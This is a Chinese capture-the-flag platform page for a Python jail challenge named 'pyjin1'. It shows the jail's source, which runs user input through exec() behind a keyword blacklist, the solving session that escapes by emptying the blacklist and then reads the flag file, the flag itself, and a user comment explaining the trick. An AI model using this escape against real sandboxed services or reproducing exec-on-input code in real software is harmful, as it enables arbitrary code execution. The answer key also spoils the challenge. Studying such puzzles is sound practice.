列表

详情


pyjin1

平台   MISC   已通过

题目作者: 未知

一  血: ‌‌‌‌‌‌‌‌‌‌‬‌‌

一血奖励: 4金币

解  决: 25

提  示:

描  述: pyjin1

站长题解:

nc 114.67.175.224 12157
=========================
#!/usr/bin/env python3
blacklist = ["/","0","1","2","3","4","5","6","7","8","9","setattr","compile","globals","os","import","_","breakpoint","exit","lambda","eval","exec","read","print","open","'","=",'"',"x","builtins","clear"]
print("="*25)
print(open(__file__).read())
print("="*25)
print("Welcome to the jail!")
print("="*25)

for i in range(2):
	x = input('Enter command: ')
	for c in blacklist:
		if c in x:
			print("Blacklisted word found! Exiting!")
			exit(0)
	exec(x)

=========================
Welcome to the jail!
=========================
Enter command: del blacklist[:]
Enter command: print(open('flag.txt').read())
flag{b2bda1336f78d92f947312267634ced5}

去做题

ch15270840784 👍0

不要想着绕过他的过滤条件,否则你肯定失败,,直接清空他的过滤条件 del ff[:] ,清空后就可以任意执行代码